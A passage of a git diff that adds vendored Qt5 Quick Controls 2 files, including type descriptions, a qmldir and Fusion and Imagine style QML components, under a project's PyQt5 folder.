} + } + Method { + name: "gradientStop" + type: "QColor" + Parameter { name: "baseColor"; type: "QColor" } + } + Method { + name: "mergedColors" + type: "QColor" + Parameter { name: "colorA"; type: "QColor" } + Parameter { name: "colorB"; type: "QColor" } + Parameter { name: "factor"; type: "int" } + } + Method { + name: "mergedColors" + type: "QColor" + Parameter { name: "colorA"; type: "QColor" } + Parameter { name: "colorB"; type: "QColor" } + } + Method { + name: "grooveColor" + type: "QColor" + Parameter { name: "palette"; type: "QPalette" } + } + } + Component { + name: "QQuickItem" + defaultProperty: "data" + prototype: "QObject" + Enum { + name: "Flags" + values: { + "ItemClipsChildrenToShape": 1, + "ItemAcceptsInputMethod": 2, + "ItemIsFocusScope": 4, + "ItemHasContents": 8, + "ItemAcceptsDrops": 16 + } + } + Enum { + name: "TransformOrigin" + values: { + "TopLeft": 0, + "Top": 1, + "TopRight": 2, + "Left": 3, + "Center": 4, + "Right": 5, + "BottomLeft": 6, + "Bottom": 7, + "BottomRight": 8 + } + } + Property { name: "parent"; type: "QQuickItem"; isPointer: true } + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "resources"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "children"; type: "QQuickItem"; isList: true; isReadonly: true } + Property { name: "x"; type: "double" } + Property { name: "y"; type: "double" } + Property { name: "z"; type: "double" } + Property { name: "width"; type: "double" } + Property { name: "height"; type: "double" } + Property { name: "opacity"; type: "double" } + Property { name: "enabled"; type: "bool" } + Property { name: "visible"; type: "bool" } + Property { name: "visibleChildren"; type: "QQuickItem"; isList: true; isReadonly: true } + Property { name: "states"; type: "QQuickState"; isList: true; isReadonly: true } + Property { name: "transitions"; type: "QQuickTransition"; isList: true; isReadonly: true } + Property { name: "state"; type: "string" } + Property { name: "childrenRect"; type: "QRectF"; isReadonly: true } + Property { name: "anchors"; type: "QQuickAnchors"; isReadonly: true; isPointer: true } + Property { name: "left"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "right"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "horizontalCenter"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "top"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "bottom"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "verticalCenter"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "baseline"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "baselineOffset"; type: "double" } + Property { name: "clip"; type: "bool" } + Property { name: "focus"; type: "bool" } + Property { name: "activeFocus"; type: "bool"; isReadonly: true } + Property { name: "activeFocusOnTab"; revision: 1; type: "bool" } + Property { name: "rotation"; type: "double" } + Property { name: "scale"; type: "double" } + Property { name: "transformOrigin"; type: "TransformOrigin" } + Property { name: "transformOriginPoint"; type: "QPointF"; isReadonly: true } + Property { name: "transform"; type: "QQuickTransform"; isList: true; isReadonly: true } + Property { name: "smooth"; type: "bool" } + Property { name: "antialiasing"; type: "bool" } + Property { name: "implicitWidth"; type: "double" } + Property { name: "implicitHeight"; type: "double" } + Property { name: "containmentMask"; revision: 11; type: "QObject"; isPointer: true } + Property { name: "layer"; type: "QQuickItemLayer"; isReadonly: true; isPointer: true } + Signal { + name: "childrenRectChanged" + Parameter { type: "QRectF" } + } + Signal { + name: "baselineOffsetChanged" + Parameter { type: "double" } + } + Signal { + name: "stateChanged" + Parameter { type: "string" } + } + Signal { + name: "focusChanged" + Parameter { type: "bool" } + } + Signal { + name: "activeFocusChanged" + Parameter { type: "bool" } + } + Signal { + name: "activeFocusOnTabChanged" + revision: 1 + Parameter { type: "bool" } + } + Signal { + name: "parentChanged" + Parameter { type: "QQuickItem"; isPointer: true } + } + Signal { + name: "transformOriginChanged" + Parameter { type: "TransformOrigin" } + } + Signal { + name: "smoothChanged" + Parameter { type: "bool" } + } + Signal { + name: "antialiasingChanged" + Parameter { type: "bool" } + } + Signal { + name: "clipChanged" + Parameter { type: "bool" } + } + Signal { + name: "windowChanged" + revision: 1 + Parameter { name: "window"; type: "QQuickWindow"; isPointer: true } + } + Signal { name: "containmentMaskChanged"; revision: 11 } + Method { name: "update" } + Method { + name: "grabToImage" + revision: 4 + type: "bool" + Parameter { name: "callback"; type: "QJSValue" } + Parameter { name: "targetSize"; type: "QSize" } + } + Method { + name: "grabToImage" + revision: 4 + type: "bool" + Parameter { name: "callback"; type: "QJSValue" } + } + Method { + name: "contains" + type: "bool" + Parameter { name: "point"; type: "QPointF" } + } + Method { + name: "mapFromItem" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "mapToItem" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "mapFromGlobal" + revision: 7 + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "mapToGlobal" + revision: 7 + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { name: "forceActiveFocus" } + Method { + name: "forceActiveFocus" + Parameter { name: "reason"; type: "Qt::FocusReason" } + } + Method { + name: "nextItemInFocusChain" + revision: 1 + type: "QQuickItem*" + Parameter { name: "forward"; type: "bool" } + } + Method { name: "nextItemInFocusChain"; revision: 1; type: "QQuickItem*" } + Method { + name: "childAt" + type: "QQuickItem*" + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + } + Component { + name: "QQuickPaintedItem" + defaultProperty: "data" + prototype: "QQuickItem" + Enum { + name: "RenderTarget" + values: { + "Image": 0, + "FramebufferObject": 1, + "InvertedYFramebufferObject": 2 + } + } + Enum { + name: "PerformanceHints" + values: { + "FastFBOResizing": 1 + } + } + Property { name: "contentsSize"; type: "QSize" } + Property { name: "fillColor"; type: "QColor" } + Property { name: "contentsScale"; type: "double" } + Property { name: "renderTarget"; type: "RenderTarget" } + Property { name: "textureSize"; type: "QSize" } + } + Component { + prototype: "QQuickRectangle" + name: "QtQuick.Controls.Fusion.impl/ButtonPanel 2.3" + exports: ["QtQuick.Controls.Fusion.impl/ButtonPanel 2.3"] + exportMetaObjectRevisions: [3] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "QQuickItem"; isPointer: true } + Property { name: "highlighted"; type: "bool" } + } + Component { + prototype: "QQuickRectangle" + name: "QtQuick.Controls.Fusion.impl/CheckIndicator 2.3" + exports: ["QtQuick.Controls.Fusion.impl/CheckIndicator 2.3"] + exportMetaObjectRevisions: [3] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "QQuickItem"; isPointer: true } + Property { name: "pressedColor"; type: "QColor"; isReadonly: true } + Property { name: "checkMarkColor"; type: "QColor"; isReadonly: true } + } + Component { + prototype: "QQuickRectangle" + name: "QtQuick.Controls.Fusion.impl/RadioIndicator 2.3" + exports: ["QtQuick.Controls.Fusion.impl/RadioIndicator 2.3"] + exportMetaObjectRevisions: [3] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "QQuickItem"; isPointer: true } + Property { name: "pressedColor"; type: "QColor"; isReadonly: true } + Property { name: "checkMarkColor"; type: "QColor"; isReadonly: true } + } + Component { + prototype: "QQuickRectangle" + name: "QtQuick.Controls.Fusion.impl/SliderGroove 2.3" + exports: ["QtQuick.Controls.Fusion.impl/SliderGroove 2.3"] + exportMetaObjectRevisions: [3] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "QQuickItem"; isPointer: true } + Property { name: "offset"; type: "double" } + Property { name: "progress"; type: "double" } + Property { name: "visualProgress"; type: "double" } + } + Component { + prototype: "QQuickRectangle" + name: "QtQuick.Controls.Fusion.impl/SliderHandle 2.3" + exports: ["QtQuick.Controls.Fusion.impl/SliderHandle 2.3"] + exportMetaObjectRevisions: [3] + isComposite: true + defaultProperty: "data" + Property { name: "palette"; type: "QVariant" } + Property { name: "pressed"; type: "bool" } + Property { name: "hovered"; type: "bool" } + Property { name: "vertical"; type: "bool" } + Property { name: "visualFocus"; type: "bool" } + } + Component { + prototype: "QQuickRectangle" + name: "QtQuick.Controls.Fusion.impl/SwitchIndicator 2.3" + exports: ["QtQuick.Controls.Fusion.impl/SwitchIndicator 2.3"] + exportMetaObjectRevisions: [3] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "QQuickItem"; isPointer: true } + Property { name: "pressedColor"; type: "QColor"; isReadonly: true } + Property { name: "checkMarkColor"; type: "QColor"; isReadonly: true } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/qmldir new file mode 100644 index 00000000..b584adc8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/qmldir @@ -0,0 +1,4 @@ +module QtQuick.Controls.Fusion +plugin qtquickcontrols2fusionstyleplugin +classname QtQuickControls2FusionStylePlugin +depends QtQuick.Controls 2.5 diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/qtquickcontrols2fusionstyleplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/qtquickcontrols2fusionstyleplugin.dll new file mode 100644 index 00000000..19e35877 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/qtquickcontrols2fusionstyleplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/GroupBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/GroupBox.qml new file mode 100644 index 00000000..96f776f2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/GroupBox.qml @@ -0,0 +1,74 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.GroupBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding, + implicitLabelWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + spacing: 6 + padding: 12 + topPadding: padding + (implicitLabelWidth > 0 ? implicitLabelHeight + spacing : 0) + + label: Text { + x: control.leftPadding + width: control.availableWidth + + text: control.title + font: control.font + color: control.palette.windowText + elide: Text.ElideRight + verticalAlignment: Text.AlignVCenter + } + + background: Rectangle { + y: control.topPadding - control.bottomPadding + width: parent.width + height: parent.height - control.topPadding + control.bottomPadding + + color: "transparent" + border.color: control.palette.mid + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/HorizontalHeaderView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/HorizontalHeaderView.qml new file mode 100644 index 00000000..ec91af25 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/HorizontalHeaderView.qml @@ -0,0 +1,68 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick.Controls 2.15 +import QtQuick.Templates 2.15 as T + +T.HorizontalHeaderView { + id: control + + implicitWidth: syncView ? syncView.width : 0 + implicitHeight: contentHeight + + delegate: Rectangle { + // Qt6: add cellPadding (and font etc) as public API in headerview + readonly property real cellPadding: 8 + + implicitWidth: text.implicitWidth + (cellPadding * 2) + implicitHeight: Math.max(control.height, text.implicitHeight + (cellPadding * 2)) + color: "#f6f6f6" + border.color: "#e4e4e4" + + Text { + id: text + text: control.textRole ? (Array.isArray(control.model) ? modelData[control.textRole] + : model[control.textRole]) + : modelData + width: parent.width + height: parent.height + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + color: "#ff26282a" + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ApplicationWindow.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ApplicationWindow.qml new file mode 100644 index 00000000..7bfcc3f9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ApplicationWindow.qml @@ -0,0 +1,77 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Window 2.2 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.ApplicationWindow { + id: window + + // ### remove? + overlay.modal: NinePatchImage { + source: Imagine.url + "applicationwindow-overlay" + NinePatchImageSelector on source { + states: [ + {"modal": true} + ] + } + } + + // ### remove? + overlay.modeless: NinePatchImage { + source: Imagine.url + "applicationwindow-overlay" + NinePatchImageSelector on source { + states: [ + {"modal": false} + ] + } + } + + background: NinePatchImage { + width: window.width + height: window.height + + source: Imagine.url + "applicationwindow-background" + NinePatchImageSelector on source { + states: [ + {"active": window.active} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/BusyIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/BusyIndicator.qml new file mode 100644 index 00000000..652365b1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/BusyIndicator.qml @@ -0,0 +1,88 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.BusyIndicator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + contentItem: AnimatedImage { + opacity: control.running ? 1 : 0 + playing: control.running || opacity > 0 + visible: control.running || opacity > 0 + Behavior on opacity { OpacityAnimator { duration: 250 } } + + source: Imagine.url + "busyindicator-animation" + AnimatedImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"running": control.running}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } + + background: NinePatchImage { + source: Imagine.url + "busyindicator-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"running": control.running}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Button.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Button.qml new file mode 100644 index 00000000..e7171eb1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Button.qml @@ -0,0 +1,99 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.Button { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + spacing: 6 // ### + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + icon.width: 24 + icon.height: 24 + icon.color: control.enabled && control.flat && control.highlighted ? control.palette.highlight + : control.enabled && (control.down || control.checked || control.highlighted) && !control.flat + ? control.palette.brightText : control.flat ? control.palette.windowText : control.palette.buttonText + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + + icon: control.icon + text: control.text + font: control.font + color: control.enabled && control.flat && control.highlighted ? control.palette.highlight + : control.enabled && (control.down || control.checked || control.highlighted) && !control.flat + ? control.palette.brightText : control.flat ? control.palette.windowText : control.palette.buttonText + } + + background: NinePatchImage { + source: Imagine.url + "button-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checked}, + {"checkable": control.checkable}, + {"focused": control.visualFocus}, + {"highlighted": control.highlighted}, + {"mirrored": control.mirrored}, + {"flat": control.flat}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/CheckBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/CheckBox.qml new file mode 100644 index 00000000..b91ceb40 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/CheckBox.qml @@ -0,0 +1,106 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.CheckBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + spacing: 6 // ### + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + indicator: Image { + x: text ? (control.mirrored ? control.width - width - control.rightPadding : control.leftPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + + source: Imagine.url + "checkbox-indicator" + ImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checkState === Qt.Checked}, + {"partially-checked": control.checkState === Qt.PartiallyChecked}, + {"focused": control.visualFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } + + contentItem: Text { + leftPadding: control.indicator && !control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: control.indicator && control.mirrored ? control.indicator.width + control.spacing : 0 + + text: control.text + font: control.font + color: control.palette.windowText + elide: Text.ElideRight + verticalAlignment: Text.AlignVCenter + } + + background: NinePatchImage { + source: Imagine.url + "checkbox-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checkState === Qt.Checked}, + {"partially-checked": control.checkState === Qt.PartiallyChecked}, + {"focused": control.visualFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/CheckDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/CheckDelegate.qml new file mode 100644 index 00000000..19975152 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/CheckDelegate.qml @@ -0,0 +1,118 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.CheckDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + spacing: 12 // ### + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + icon.width: 24 + icon.height: 24 + icon.color: control.palette.text + + indicator: Image { + x: control.mirrored ? control.leftPadding : control.width - width - control.rightPadding + y: control.topPadding + (control.availableHeight - height) / 2 + + source: Imagine.url + "checkdelegate-indicator" + ImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checkState === Qt.Checked}, + {"partially-checked": control.checkState === Qt.PartiallyChecked}, + {"focused": control.visualFocus}, + {"highlighted": control.highlighted}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } + + contentItem: IconLabel { + leftPadding: control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: !control.mirrored ? control.indicator.width + control.spacing : 0 